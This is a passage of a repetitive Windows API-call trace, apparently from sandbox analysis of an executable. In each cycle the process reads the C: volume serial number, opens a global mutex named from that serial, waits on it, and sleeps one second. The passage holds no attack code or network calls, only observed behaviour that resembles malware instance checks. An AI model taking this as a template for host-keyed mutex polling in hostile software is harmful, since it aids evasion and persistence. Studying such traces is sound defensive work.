[0263.560] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0263.560] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0263.560] GetProcessHeap () returned 0x550000 [0263.561] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0263.561] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc4 [0263.561] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x0) returned 0x102 [0263.561] CloseHandle (hObject=0xc4) returned 1 [0263.561] GetProcessHeap () returned 0x550000 [0263.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0263.561] GetProcessHeap () returned 0x550000 [0263.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0263.561] Sleep (dwMilliseconds=0x3e8) [0264.962] GetProcessHeap () returned 0x550000 [0264.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0264.962] GetProcessHeap () returned 0x550000 [0264.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0264.962] GetProcessHeap () returned 0x550000 [0264.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0264.962] GetProcessHeap () returned 0x550000 [0264.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0264.962] GetProcessHeap () returned 0x550000 [0264.962] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0264.962] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0264.962] GetProcessHeap () returned 0x550000 [0264.962] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0264.962] GetProcessHeap () returned 0x550000 [0264.962] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0264.962] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0264.963] GetProcessHeap () returned 0x550000 [0264.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0264.963] GetProcessHeap () returned 0x550000 [0264.963] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0264.963] GetProcessHeap () returned 0x550000 [0264.963] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0264.963] GetProcessHeap () returned 0x550000 [0264.963] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0264.963] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc4 [0264.963] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x0) returned 0x102 [0264.963] CloseHandle (hObject=0xc4) returned 1 [0264.963] GetProcessHeap () returned 0x550000 [0264.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0264.963] GetProcessHeap () returned 0x550000 [0264.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0264.963] Sleep (dwMilliseconds=0x3e8) [0266.163] GetProcessHeap () returned 0x550000 [0266.164] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0266.164] GetProcessHeap () returned 0x550000 [0266.164] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0266.164] GetProcessHeap () returned 0x550000 [0266.164] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0266.164] GetProcessHeap () returned 0x550000 [0266.164] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0266.164] GetProcessHeap () returned 0x550000 [0266.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0266.164] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.164] GetProcessHeap () returned 0x550000 [0266.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0266.164] GetProcessHeap () returned 0x550000 [0266.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0266.164] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.165] GetProcessHeap () returned 0x550000 [0266.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0266.165] GetProcessHeap () returned 0x550000 [0266.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0266.165] GetProcessHeap () returned 0x550000 [0266.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0266.165] GetProcessHeap () returned 0x550000 [0266.165] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0266.165] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc8 [0266.165] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0266.165] CloseHandle (hObject=0xc8) returned 1 [0266.165] GetProcessHeap () returned 0x550000 [0266.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0266.165] GetProcessHeap () returned 0x550000 [0266.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0266.165] Sleep (dwMilliseconds=0x3e8) [0267.233] GetProcessHeap () returned 0x550000 [0267.233] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0267.233] GetProcessHeap () returned 0x550000 [0267.233] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0267.233] GetProcessHeap () returned 0x550000 [0267.233] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0267.233] GetProcessHeap () returned 0x550000 [0267.233] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0267.233] GetProcessHeap () returned 0x550000 [0267.233] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0267.234] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0267.234] GetProcessHeap () returned 0x550000 [0267.234] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0267.234] GetProcessHeap () returned 0x550000 [0267.234] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0267.234] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0267.234] GetProcessHeap () returned 0x550000 [0267.235] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0267.235] GetProcessHeap () returned 0x550000 [0267.235] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0267.235] GetProcessHeap () returned 0x550000 [0267.235] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0267.235] GetProcessHeap () returned 0x550000 [0267.235] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0267.235] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1ac [0267.235] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0267.235] CloseHandle (hObject=0x1ac) returned 1 [0267.235] GetProcessHeap () returned 0x550000 [0267.235] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0267.235] GetProcessHeap () returned 0x550000 [0267.235] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0267.235] Sleep (dwMilliseconds=0x3e8) [0268.364] GetProcessHeap () returned 0x550000 [0268.364] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0268.364] GetProcessHeap () returned 0x550000 [0268.364] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a4c0 [0268.364] GetProcessHeap () returned 0x550000 [0268.364] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0268.364] GetProcessHeap () returned 0x550000 [0268.364] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0268.364] GetProcessHeap () returned 0x550000 [0268.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0268.364] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a4c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0268.364] GetProcessHeap () returned 0x550000 [0268.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0268.364] GetProcessHeap () returned 0x550000 [0268.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0268.365] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0268.365] GetProcessHeap () returned 0x550000 [0268.365] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0268.365] GetProcessHeap () returned 0x550000 [0268.365] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0268.365] GetProcessHeap () returned 0x550000 [0268.365] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0268.365] GetProcessHeap () returned 0x550000 [0268.365] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0268.365] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0268.365] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0268.365] CloseHandle (hObject=0x1b4) returned 1 [0268.366] GetProcessHeap () returned 0x550000 [0268.366] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0268.366] GetProcessHeap () returned 0x550000 [0268.366] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0268.366] Sleep (dwMilliseconds=0x3e8) [0269.495] GetProcessHeap () returned 0x550000 [0269.495] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a4c0 [0269.495] GetProcessHeap () returned 0x550000 [0269.495] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0269.495] GetProcessHeap () returned 0x550000 [0269.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0269.496] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0269.496] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0269.496] GetProcessHeap () returned 0x550000 [0269.496] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0269.496] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c8 [0269.497] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x102 [0269.497] CloseHandle (hObject=0x1c8) returned 1 [0269.497] GetProcessHeap () returned 0x550000 [0269.497] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0269.497] GetProcessHeap () returned 0x550000 [0269.497] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0269.497] Sleep (dwMilliseconds=0x3e8) [0270.925] GetProcessHeap () returned 0x550000 [0270.925] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0270.925] GetProcessHeap () returned 0x550000 [0270.925] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a4c0 [0270.925] GetProcessHeap () returned 0x550000 [0270.926] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0270.926] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a4c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0270.926] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0270.926] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x178 [0270.926] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x0) returned 0x102 [0270.926] CloseHandle (hObject=0x178) returned 1 [0270.926] GetProcessHeap () returned 0x550000 [0270.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0270.927] GetProcessHeap () returned 0x550000 [0270.927] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0270.927] Sleep (dwMilliseconds=0x3e8) [0272.044] GetProcessHeap () returned 0x550000 [0272.044] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0272.044] GetProcessHeap () returned 0x550000 [0272.044] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a538 [0272.044] GetProcessHeap () returned 0x550000 [0272.044] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0272.044] GetProcessHeap () returned 0x550000 [0272.044] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0272.044] GetProcessHeap () returned 0x550000 [0272.044] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0272.044] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a538, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0272.044] GetProcessHeap () returned 0x550000 [0272.044] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0272.045] GetProcessHeap () returned 0x550000 [0272.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0272.045] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0272.045] GetProcessHeap () returned 0x550000 [0272.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0272.045] GetProcessHeap () returned 0x550000 [0272.045] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0272.045] GetProcessHeap () returned 0x550000 [0272.045] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0272.045] GetProcessHeap () returned 0x550000 [0272.045] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0272.045] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0272.045] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0272.045] CloseHandle (hObject=0x1cc) returned 1 [0272.045] GetProcessHeap () returned 0x550000 [0272.046] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0272.046] GetProcessHeap () returned 0x550000 [0272.046] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0272.046] Sleep (dwMilliseconds=0x3e8) [0273.219] GetProcessHeap () returned 0x550000 [0273.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a538 [0273.219] GetProcessHeap () returned 0x550000 [0273.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0273.219] GetProcessHeap () returned 0x550000 [0273.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0273.219] GetProcessHeap () returned 0x550000 [0273.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0273.219] GetProcessHeap () returned 0x550000 [0273.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0273.219] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.219] GetProcessHeap () returned 0x550000 [0273.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0273.219] GetProcessHeap () returned 0x550000 [0273.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0273.219] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.220] GetProcessHeap () returned 0x550000 [0273.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0273.220] GetProcessHeap () returned 0x550000 [0273.220] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0273.220] GetProcessHeap () returned 0x550000 [0273.220] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0273.220] GetProcessHeap () returned 0x550000 [0273.220] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0273.220] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x100 [0273.220] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x102 [0273.220] CloseHandle (hObject=0x100) returned 1 [0273.220] GetProcessHeap () returned 0x550000 [0273.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0273.220] GetProcessHeap () returned 0x550000 [0273.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0273.220] Sleep (dwMilliseconds=0x3e8) [0274.320] GetProcessHeap () returned 0x550000 [0274.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0274.320] GetProcessHeap () returned 0x550000 [0274.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a538 [0274.320] GetProcessHeap () returned 0x550000 [0274.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0274.320] GetProcessHeap () returned 0x550000 [0274.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0274.320] GetProcessHeap () returned 0x550000 [0274.320] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0274.320] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a538, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.320] GetProcessHeap () returned 0x550000 [0274.320] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0274.320] GetProcessHeap () returned 0x550000 [0274.320] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0274.320] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.320] GetProcessHeap () returned 0x550000 [0274.321] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0274.321] GetProcessHeap () returned 0x550000 [0274.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0274.321] GetProcessHeap () returned 0x550000 [0274.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0274.321] GetProcessHeap () returned 0x550000 [0274.321] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0274.321] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0274.321] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0274.321] CloseHandle (hObject=0x1b4) returned 1 [0274.321] GetProcessHeap () returned 0x550000 [0274.321] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0274.321] GetProcessHeap () returned 0x550000 [0274.321] HeapFree (in: hHeap=0x550000, 